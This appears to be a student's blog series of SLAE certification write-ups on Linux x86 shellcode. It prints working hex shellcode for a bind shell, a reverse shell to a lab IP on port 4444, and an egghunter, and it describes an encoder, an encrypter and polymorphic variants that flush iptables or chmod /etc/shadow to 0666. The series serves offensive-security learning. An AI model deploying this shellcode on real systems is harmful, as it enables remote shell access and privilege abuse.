SecurityTube Linux Assembly Expert (SLAE) Assignment 7 – Shellcode Encrypter

This blog post has been created for completing  the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: PA-7462

All the code from the project is available at my GitHub.

For the final assignment in the SLAE, we are asked to create a custom shellcode encrypter and decrypter that will execute the shellcode once it’s decrypted.

Before getting into this assignment, I wanted to say that overall I really enjoyed the course and thought it helped understand assembly and shellcode much better. Additionally, I felt like the assignments for the SLAE were also very complementive to the course and helped further the understanding. That being said, I’m not really a fan of this 7th assignment at least as it pertains to assembly and/or shellcode. The assignment says that we are able to use any language we’d like and use pre existing algorithms (or we can roll our own crypto if we are so inclined, but that’s obviously a bad idea).

I really fail to see how this assignment helps us understand (or show proficiency with) assembly or shellcoding. Shellcode is meant to be lightweight and independent, but this assignment has us create a standalone application or script to execute out encrypted shellcode. I don’t see a scenario where I would be able to get my shellcode decoder on a system and run it where I wouldn’t be able to just get any other script/application on the box. Obviously part of the intention of the assignment is to demonstrate evasive techniques to hide shellcode from detection, but since any algorithm would make the actual shellcode to large to be useful and you are left with a script/application that you should be able to build all the functionality in without shellcode, I don’t think its a valuable use of time. Maybe I’m missing something, if so let me know.  All that being said, let’s get into the actual assignment.

Based in part on what I mentioned earlier, I decided to keep this assignment pretty simple. I created my script in Python and relied mostly on the pycrypto libraries.

Python Encrypter Script

The encrypter script is pretty straightforward. The shellcode being used is the /bin/sh shellcode that we created previously.  This shellcode is supplied in the shellcode variable. If this was a process you are repeating often, you could modify this script to accept user input, but for this one I just have the shellcode and password hardcoded into the script.

Python Decrypter and Execution Script

Next the decrypting script takes the output of the previous script, which will be a base64 encoded AES cipher. Additionally, the same password used by the encryption script will be used to decode the shellcode. Again, for simplicity the values are hardcoded into my script. Once the script decoded and decrypts the shellcode it is ran.

You should be able to use these scripts with any shellcode, however as I mentioned in the blog post, I don’t quite see their value, unless you’ve just got some cool shellcode from somewhere and you don’t want to recode it and just compile it. Sure the encryption can help be evasive, but you should be able to code that into a “regular” application as well.

To close this post out, I just wanted to say that the SLAE was a really great course and it’s already proved to be quite useful for me from both a penetration testing and malware analysis standpoint.

SecurityTube Linux Assembly Expert (SLAE) Assignment 6 – Polymorphic Shellcode

This blog post has been created for completing  the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: PA-7462

All the code from the project is available at my GitHub.

For the sixth assignment, we are asked to find three pieces of shellcode on the Shell Storm website and modify the shellcode so that it still performs the same function, but has been modified to avoid potential detection or fingerprinting. We are restricted to keeping the shellcode no larger that 150% the original size of the shellcode (if the original shellcode was 30 bytes, the largest it may be is 45 bytes)

IPTables Flush Shellcode

The first piece of shellcode I decided to study and modify was a piece of shellcode that was to perform an IPTables “Flush” command using the sysexecve system call. If you are unfamiliar with the flush command for IPTables, this will simply remove all the firewall rules in IPTables, this could be handy if you have successfully exploited a service running on root of a box, but the firewall is preventing you from accessing the box further.

The original shellcode was 43 bytes, allowing or polymorphic shellcode to be up to 64 bytes. To start, we’ll take a look at the original code for the shellcode. It’s pretty straightforward as it just calls execve with the argument /sbin/iptables -F

I originally made more changes to the shellcode, but I had to revert a few of them due to the overall length. The first thing I changed was instead of pushing the arguments to the stack, I am moving them manually and also accounting for the address change of the stack manually.  To do this, I move the hex value to ESP-4, placing it just on top of the stack. Later, I will need to move ESP to the appropriate location. Additionally, I wanted to obfuscate the string a little bit more, so move the hex value for the string minus one and I then increment the value to get the string I’m looking for. For the second string, I move the value minus 0x11 (to partially obfuscate the string). For this value, I move it to ESP-8 to put it above last string. The next and final change I made was instead of moving 0xb to AL, I did this to partially obfuscate the execve system call. Finally I increment AL to 0xb and make the execve system call.

The newly modified shellcode comes to a total of 63 bytes, 1 byte under our requirement. If we look at the strings that are in the two pieces of shellcode, you can see there is definitely a difference. The obfuscation may have been a little unnecessary since the string isn’t overly obvious in the first piece of shellcode, nevertheless, it is more obfuscated in the new version.

System Beep shellcode

The second shellcode I modified performed a system beep. Obviously this piece of shellcode isn’t terrible useful, other than maybe annoying someone, but I thought it would be something different to look at. The original shellcode was 45 bytes, but when I ran it I would get a segmentation fault following the system beep, so I decided to add a system call for exit to prevent the segmentation fault. The new length of the “original” shellcode was 49 bytes with this change.

The original shellcode opens /dev/tty10 using the open system call.  Then uses the ioctl system call and issues the KDMKTONE command to generate the beep.

For this piece of shellcode, I kept the modifications fairly simple as I was shooting for having the shellcode being shorter than the original.

Instead of using the push pop technique, I cleared eax and moved the value to the al register.  I originally was going to replace the CDQ with  clearing the EDX register, but that pushed me over the original length of the shellcode, so I reverted it.  I could have replaced pushing the strings to the stack with the technique used earlier (moving them to ESP-4, ESP-8, etc.) but again, I was looking to make a few changes to the shellcode, but make it smaller. Additionally, I could have used the technique i used previously where I set EAX to one value, but increment it later.

Again, I replaced the push pop with a clear of EAX and setting the value in AL. The original author placed a value into ecx and then performed a NOT on it, i decided to just move the final value. If you were interested in obfuscating this, you could do an XOR, add/sub, etc.

 

The final length of the shellcode was 48 bytes, 1 byte shorter than the original. It’s not much of a reduction, but it’s something.

 

CHMOD Shellcode

The final piece of shellcode I decided to take a look at was a piece of shellcode that performs a chmod system call and sets /etc/shadow to 0666, giving everyone read and write to the file.

Since there is a chmod system call, this piece of code is pretty straight forward. The system call id is set, the string for /etc/shadow is set to EBX, the permission value of 0666 is set to ECX and the system call is made.

The original length of this shellcode is 36 bytes, allowing us up to 54 bytes for our morphed version.

To change it up a little, I converted the push pop to a mov eax, edx since EDX has already been cleared, then I set AL to 0x01, which is a system call of sys exit (i will add to it later to make it the CHMOD system call).  Next I wanted to obfuscate the string /etc/shadow a little bit more than the original author had, due to the author pushing the word then the byte for the last segment, it doesn’t show up perfectly in Strings, but I figured it was worth obfuscating a little more. Do to this, for the first dword that is pushed to the stack, I place a the original value subtracted by 0x01010101 to the EDI register, then I add that value back to EDI, making EDI the actual value we wanted  and then push that to the stack. I could have went with the same technique I used in the first piece of shellcode where I make the modifications to it on the stack, but I just wanted to change it up a little.  For the next dword, I decided to subtract 0x10101010 from the original value, and same as before I add that back to EDI and push it to the stack. finally, I add 14 to AL (which I set to 0x01 earlier) to now make it 0x0f (15) which is the value for a chmod system call. Finally the system call is made.

The final shellcode length count is 53 bytes, 1 byte under what our allowed size was.

As with the first example, if we look at Strings for the two pieces of shellcode, you can see part of /etc/shadow in the original, albeit already broken up a little. For the final shellcode, you can see that there isn’t much left that is intelligible in strings.

SecurityTube Linux Assembly Expert (SLAE) Assignment 5 – MSFVenom Shellcode Analysis

This blog post has been created for completing  the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: PA-7462

All the code from the project is available at my GitHub.

For the fifth assignment in the SLAE, we are asked to pick three pieces of shellcode generated by Metasploit/MSFVenom.  We are able to use GDB, ndisasm, and/or libemu to analyze the shellcode. For this assignment, I largely just used ndisasm as I felt like it was the most straightforward way to look at the code.

When deciding which pieces of shellcode to analyze, I decided not to analyze the shell bind since we looked at it a little bit in an earlier assignment. To keep things a little simpler and easier to follow along, I decided to not analyze any staged payloads or use any encoding. This means that the shellcode I analyzed for this assignment might not work in an exploit due to null bytes being contained within the shellcode, so keep that in mind when looking at the shellcode.

AddUser Shellcode

To start out, I decided to take a look at the adduser shellcode. The purpose of this shellcode is pretty straightforward. If successfully ran, the shellcode creates a UID 0 (root) user. If no options are specified, the user metasploit with password metasploit is created. For simplicity, i left the defaults.

The beginning of the shellcode is pretty straightforward. ECX and EBX are cleared, 46 is pushed to the stack and popped to EAX.  Then a syscall is executed, a syscall with 46 in EAX is for setuid. This is done to set the uid of the calling process. In this case, it is set to uid 0 (root).

After the setuid syscall is made, 5 is pushed to the stack and popped to EAX, this will be used later for the open syscall. ECX is cleared to be prepared for the syscall and to push a null to the stack to terminate the upcoming string. Next, the string /etc/passwd is pushed to the stack (broken up in 4 byte pieces in reverse order). The string is then moved from the stack to the EBX register.  ECX is incremented to 1 then 4 is moved to CH, ultimately making ECX 0x41 which when used with the open syscall specified read and write as well as append to file, meaning we are opening /etc/passwd for read and write and will append our changes to the file. Finally, the system call is made.

The next section is where it gets a little interesting if you haven’t seen this before. The file descriptor from the open is moved to EBX so we can use it later, then a call is made (in our ndisasm output it is to 0x53, if you’re looking at the code in GDB or something like that, the location will be different).

This is where it starts to get a little interesting. If you notice in my ndisasm output there is no location 0x53 listed. If you look closer at the actual hex from this shellcode, you see that starting on on line 19(just after the call) to the beginning of line 37 the hex comes out to:

metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh
  (extra line included)

I line break is represented as 0A, and if you notice the first hex of line 52 is 0A, ndisasm isn’t showing the code quite as that 0A is part of the string that we are going to write to /etc/passwd. The next hex 59 which is a POP ECX and 8b51fc is mov edx,[ecx-0x4], which makes sense for the call that we just had. The address for the piece of “code” we jumped over with the call is now on the stack, the “code” is what we want to add to /etc/passwd.

Now we can wrap up this shellcode. A 4 is pushed to the stack and then popped to EAX, this is a write file when used with the syscall to follow.  Finally, 1 is put into EAX, which is an exit and the shellcode exits gracefully.

Read File Shellcode

For the next piece of shellcode, I decided to analyze the read file shellcode. For the configuration for this shellcode, I’m just going to read the /etc/passwd file and output it to STDOUT.

For the analysis of this shellcode, I’m going to start with showing the whole piece of shellcode, then I will break it down. Right off the bat, we start with a jmp to 0x38, this is similar to the previous piece of shellcode where another jmp call pop is being utilized. The jump sends us to a call to 0x2, which happens to be the next time of code. This is done because the “code” starting on line 20, starting with the 2f(/) is actually the data we’re going to use later (the file location /etc/passwd).

After the call, we push a 5 to EAX, with a syscall this is a file open, which is to be expected for the action the shellcode is performing. Next we pop the address that is on the stack from our earlier call to EBX.  ECX is cleared in preparation of the upcoming syscall and the file open syscall is made.

The file descriptor from the open file syscall is moved from EAX to EBX. A 3 is pushed to EAX (file read syscall). EDI is pointed to the address on the stack, which is currently the buffer being used for the file read, and then ECX is pointed at EDI (essentially pointing ECX at the stack as well). Next EDX is set to 0x1000, which is 4096, the buffer size that is the default for the shellcode when it’s generated. Finally, the system call is made and the first 4096 bytes of the file are read.

Coming to the end of the read file shellcode, the results of the read file syscall is moved from EAX to EDX to be used later. A 4 is moved to EAX (write syscall), EBX is set to 1, which will specify the output to be STDOUT and the write syscall is made. Next the exit syscall is made and the shellcode exits gracefully. Starting with line 21 is the data mentioned earlier that contains our /etc/passwd string.

CHMOD ShellCode

For the final piece of shellcode, i’ll be analyzing the CHMOD shellcode. This shellcode was the most simple shellcode that I analyzed out of the 3, there really isn’t much to it since there is a system call for chmod.

It starts with a CDQ, which isn’t a command I had really seen yet, but it is meant to convert a double to a quad and it uses the EAX and EDX registers to do so. In this instance, it has the effect of clearing out the EDX register. Next a 0xf, or 15, is pushed to the stack then popped to EAX, which is used to specify the chmod syscall. A null is pushed to the stack to terminate the upcoming string, then using the same technique seen in the other two pieces of shellcode, a call is made. The string contained in the section that is jumped over is the file we want to modify, in this case, /etc/shadow. Since the call is made, the address of this string is placed on the stack and a pop EBX immediately follows, placing the address into EBX. Next 0x1b6, which is 666 in octal is pushed to the stack and popped to ECX. This is the permission level that will be used with the chmod syscall. This will allow read and write, but no execute, for everyone. Finally the syscall is performed and the file’s permissions are changed and the shellcode exits gracefully.

SecurityTube Linux Assembly Expert (SLAE) Assignment 4 – Custom Encoded Shellcode

This blog post has been created for completing  the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: PA-7462

All the code from the project is available at my GitHub.

For assignment 4, we are going to create our own custom shellcode encoder and create shellcode that will take our encoded shellcode it, decode it and execute it.

For this assignment, we are just going to use a execve /bin/sh piece of shellcode to keep things simple, but this should work on any shellcode you want to use.

I decided to go with a fairly simple encoding algorithm for this assignment, but if needed, I don’t think it would be too hard to take these concepts and do additional obfuscation with it. For my algorithm, I iterate through the bytes of the shellcode and add “i” to the value. “i” starts as 1 and with each iteration it increments by one (first byte is incremented by 1, second by 2, third by 3, etc.) Obviously, to decode this, you basically just need to decrement the value in the same pattern.

Similar to assignment 3, the actual shellcode required for this is pretty small, So i’ll talk through the whole code instead of breaking down the pieces.

Our encoded shellcode is stored with the “encoded” variable seen at the bottom of the code.  We start the program with a jump to a section we have called call_decoder, the purpose of this section is to call our decoder section and when the call is made, the address of the next command (our shellcode) is pushed to the stack.

Moving on to the decoder section, we pop the address for the shellcode to the ESI register. We set up the bl and cl registers, we are using bl to track the amount to increment the shellcode and cl is for the length of the shellcode.

The decode section is where we start to actually decode the shellcode. We start by moving the byte contained at the address that ESI is pointing to the al register. We then subtract bl from al, the first time in the loop it will be 1, the next iteration will be 2 and so on. Once the subtraction is done, we move the newly decoded value to where the encoded value was. Then ESI is incremented to move the pointer to the next byte of out shellcode. Next bl is incremented and we go through our loop again. Once the length of the shellcode is looped through, we jump to encoded, which now contains our decoded shellcode.

I have a python script on my Github (SLAEshellobfuscate.py) that I originally used to generate my encoded shellcode. I later decided to modify the code to to create a piece of shellcode that includes the decoder stub but decided to leave the first python script since it output the shellcode in the format that can be easily used in your NASM file.

One thing that I wanted to mention that I ran into issues with and it took a bit of troubleshooting for me to figure out. I was trying to run the ELF binary I created that decodes the shellcode to verify it was working and I kept getting a segmentation fault. I ended up modifying the code a few times before I finally realized it was a stack protection issue. It took compiling a few other people’s code and getting the same issue before I finally decided to test the code in the shellcode.c test file and compiled it with no stack protection and an executable stack and it worked. So keep this in mind if you are working through this.

The second python script (SLAEIncAddShellEncode.py) is set up to take shellcode in as an argument (or you can pipe your shellcode to it)

The python script is pretty simple, it takes the shellcode you input (or I left my test execve bin/sh shellcode if you don’t provide one) and loops through it incrementing  each byte of the shellcode by “i”. The finalShellCode variable contains the decoder stub. The length of the shellcode is calculated and the value is replaced in the decoder stub so it knows how far to go with the decoding. Finally, the newly encoded shellcode is added to the end of the decoder stub.

If for some reason the encoding process was not complicated enough, it would be pretty easy to add a few more actions to the encoding of the shellcode, just be sure that you recreate a decoder stub to reverse the actions taken on the shellcode.

SecurityTube Linux Assembly Expert (SLAE) Assignment 3 – Egghunter Shellcode

This blog post has been created for completing  the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: PA-7462

All the code from the project is available at my GitHub.

For assignment 2, we are asked to study egghunter shellcode and create an implementation of our own.  In case you are unfamiliar with the term egghunting, it is a form of multi-stage shellcode. Multi-stage shellcode can be useful if you find yourself in a situation where you are limited in space for your shellcode. With egghunting, you created a small piece of shellcode that searches memory for the second stage of shellcode that you want to execute. The shellcode is located by looking for a specific set of instructions prepending the shellcode.

One thing that I felt like was not explained too well on some of the other blog posts I found while researching the topic was how do you get the “egg” into memory. While I don’t think that is completely in scope of the assignment, I think it is important to understand what’s going on and how you would ultimately use the shellcode you’ve created. From what I understand, you would likely be performing a buffer overflow of a field and you would use your egg hunter shellcode for this portion. Using another available field, you would deliver your “egg” shellcode.  FuzzySecurity has a good blog post that walks through the whole process on Windows which really helped me understand whole process. In their example, they use the UserAgent field for the stage 2 “egg” shellcode.

The actual assembly needed for this assignment was pretty small (which is the point)

Instead of breaking down the individual sections like I have on the previous blogs, I’m just going to talk through the whole piece.

We start with OR’ing the dx register to adjust the PAGE_SIZE, changing the location that we are looking in memory for our “egg”.

Next we incrementing the address (technically, we might want to check the first address, but if our egg was there, it should just be on top of the stack and we would just need to do a jmp esp).  Then we load the effective address to ebx for when we make the syscall to access.

When the access syscall is made, eax is set to 0xf2 if there is an EFAULT (an invalid section of memory is accessed), so we check to make sure we are in a valid section, if not we loop back and increment the address.  If there is no efault, we move our “egg” to the EAX register.  In this case I used 50585058 (pushed in reverse due to endianness). It doesn’t matter too much what you use here, you just want to make sure it’s not going to show up in memory for something legitimate.

The Assembly command SCAS is the scan string command, SCASD specifies the EDI register. Essentially the command searches for a string and then increments the register. If there is no match, we go back to the beginning and move to the next address. If there is a match, we check the next address to see if there is a match. When we add our “egg” to our stage 2, we duplicate the “egg” to ensure that the match is our actual shellcode we found in memory and not the string from out stage 1 shellcode (or some other random string that matched). Once we’ve confirmed the match, we jump to the next address, which is now stored in EDI and our shellcode is executed.

The resulting shellcode is:

"\x31\xc9\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x31\xc0\xb0\x21\xcd\x80\x3c\xf2\x74\xed\xb8\x50\x58\x50\x58\x89\xd7\xaf\x75\xe8\xaf\x75\xe5\xff\xe7"

I’ve highlighted the egg that we are searching for, if your shellcode has a different egg, or you’d just like to use something else, it’s easily replaced.

Since creating a buffer overflow and pushing our stage two to memory is kind of out of the scope of this assignment, we will just modify the shellcode.c file that we’ve been using to test our shellcode previously. We will just set out stage 2 shellcode (prepended with out egg) as a variable so it will be loaded into memory and we’ll execute out stage 1 shellcode, which should walk through memory until it finds the egg and executes our stage 2 shellcode.

For this example, I’m using the shellcode I created in Assignment 2

Here is a snippet of the shellcode.c file I used to test the shellcode (keep in mind that some of the shellcode is clipped off in the screenshot, visit my Github for the full code).

I start with defining “egg” with the egg that I’ll be looking for. In addition to the normal “code” variable that I’ve been using, I create an eggCode variable. This variable isn’t directly accessed in our code (other than printing the length of it) as I just want it to be loaded into memory so we can find it with our egghunting shellcode.

 

SecurityTube Linux Assembly Expert (SLAE) Assignment 2

This blog post has been created for completing  the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: PA-7462

All the code from the project is available at my GitHub.

For assignment 2 of the SLAE, we are asked to create a  TCP Reverse Bind Shell.  A lot of the work we did on assignment 1 can carry over for the reverse bind. We just change up a few things to use sys_connect instead of the sys_listen and sys_accept.

The only thing I changed here is I am moving the socket file descriptor to EDX instead of EDI as I’ll use EDX for the sys call later on.

Here is where we set the IP and port, in this case I’m using 172.16.25.130 which is ac101982 in hex, but we need to account for little endian, so we put 0x821910ac. For the port I’m using 4444 again.  Here we increment ebx to 3 instead of leaving it at 2 like we did on the bind shell since 3 represents a sys_connect. This section of code (aside from remove some we no longer needed) is largely the only portion that is changed.

In this last section, we have the same loop we used before to redirect stderr, stdout, and stdin. Finally we have the same sys_execve call we had previously.

Below is the resulting shellcode.  The first set of hex highlighted before is the IP address I used, and the second set of hex is the port. Keep in mind, as before null bytes in the shellcode will not work.

"\x31\xc0\x31\xdb\x31\xf6\x31\xff\xb0\x66\xb3\x01\x56\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc2\x31\xc0\xb0\x66\x43\x68\xac\x10\x19\x82\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x52\x89\xe1\x43\xcd\x80\x31\xc9\xb1\x02\x89\xd3\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b\x31\xd2\x31\xc9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
In addition to the shellcode, I created a python wrapper, similar to Assignment 1 in which you can easily specify the IP and port to be replaced in the shell code. This python wrapper is available on my GitHub.

 

 

SecurityTube Linux Assembly Expert (SLAE) Assignment 1

I decided it was time to get better at both reading and writing Assembly, so based on a few reviews, I decided to check out the SecurityTube Linux Assembly Expert course offered by Pentester Academy / Security Tube.  I’ll be posting as I work through the exam.

This blog post has been created for completing  the requirements of the SecurityTube Linux Assembly Expert certification:

https://www.pentesteracademy.com/course?id=3

Student ID: PA-7462

All the code from the project is available at my GitHub.

The first assignment was to study a TCP Bind reverse shell created by MSFVenom. I’m not going to go too deep into the details of the analysis of that shell code, as it’s been covered by others quite a bit.  That being said, if you analyze the shellcode, you will see it makes a number of syscalls in order to open the port and execute the shell. These syscalls are a Sock_Stream, Sys_Bind, Sys_Listen, Sys_Accept,  Sys_Dup2, and finally a Sys_execve. Contrary to the name of the exam/cert, I definitely wouldn’t call myself an expert (maybe I will be by the end of this) and I know there are things I could have done better with this code and it’s not the cleanest and smallest it could be, but this is what I’ve come up with thus far.

The syscall for the Sock_Stream is 0x66, so I move it to AL as the system call number is expected in EAX and I move it to the lower register to avoid any null bytes. Sock_Stream expect a 1 for a sys_socket, 0 for TCP, 1 for byte stream and 2 for IP.  Finally, I move the socket file descriptor that is returned from the syscall in EAX to the EDI register. Additional information about  Sys_Socket here.

Now moving on to the second syscall. We will be making a bind syscall. This syscall is where we set the port to listen on. This is pushed onto the stack, in my code i used port 4444 which is 115C in hex, but to account for Endianness we need to push 5C11.

Next we will make a Sys_Listen syscall. This syscall is a lot simpler than some of the others

The Sys_accept call is the next syscall, not a lot going on in this one either. We push 0 to the stack with ESI to listen on all IPs on the box.

Next for the Sys_dup2 call. This is where we redirect stderr, stdout and stdin to the socket that we created so we may interact with the shell once we connect to it. I decided to do a loop to set this up, to save some space, but you could do it three separate times and achieve the same goal. I initially ran into an issue with this one as I was trying to use a JZ (Jump if zero) instead of the JS(jump if signed), so I was setting up the stderr(2) and stdout(1), but was not setting up stdin. When I would connect to the shell, I got no response from my commands(since stdin was still on the “victim” side). If I issued a command on the victim side, I would see it on the attacker side, which is finally what lead me to realizing my mistake. ECX is used in this loop as our counter, but it is also an argument for the syscall (specifying stderr, stdout, and stdin).

The final call we have left is the Sys_Execve. This call is made to execute something on system. In this case, we are going to execute /bin/sh. Again, we need to consider Endianness and push the string on to the stack in reverse for Little Endian. Additionally, you want to ensure you are pushing the string in 8 bytes segments, luckily for us the system doesn’t care about additional slashes (/) so we push hs//nib/ (/bin/bash//). Since we’ve already set up the socket to listen on the port specified earlier and redirected stderr, stdout, and stdin to the socket all we have left is to connect to the port.  If you’ve tested your shellcode and you know it works, but for some reason you are unable to connect, be sure to make sure there are no other security controls that could be hindering you. This could be a firewall between you and the system or on the host itself. Additionally, if the system is NAT’ed and that port is not being forwarded, you wouldn’t be able to connect.

The resulting shellcode is:

"\x31\xc0\x31\xdb\x31\xf6\x31\xff\xb0\x66\xb3\x01\x56\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x66\x43\x56\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\xfe\xc3\x56\x56\x57\x89\xe1\xcd\x80\x31\xc9\xb1\x02\x89\xc3\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b\x31\xd2\x31\xc9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"

As you can see, there are no null bytes, so we’re good there. I called attention the where we specified the port earlier  115c (4444). You can change the bytes here to the port you would like, keeping in mind that you can’t have any null bytes (00) and if you pick a port under 1024, you will likely need root to open the port. Additionally, I wrote a python wrapper for the shellcode that I will discuss later that can change the port for you.

Here I’ve loaded the shellcode into a piece of C code for testing shellcode, you can see the shellcode length is 103 bytes, a little bigger than it could be, but you could go through and clean some stuff up and make it smaller. You can also see that ./shellcode is listening on port 4444 like I specified in the shellcode. Finally, you can see that I am able to use netcat to connect to localhost on port 4444 and get a shell.

As I mentioned earlier, I wrote a python wrapper for changing to port on the shellcode, it is available on my GitHub. The python script takes a port (between 1025 and 65535) and replaces the original port (4444/115c) in the shell code with the specified port.  Not much to it, but it’s there in case you don’t want to manually mess with the shellcode.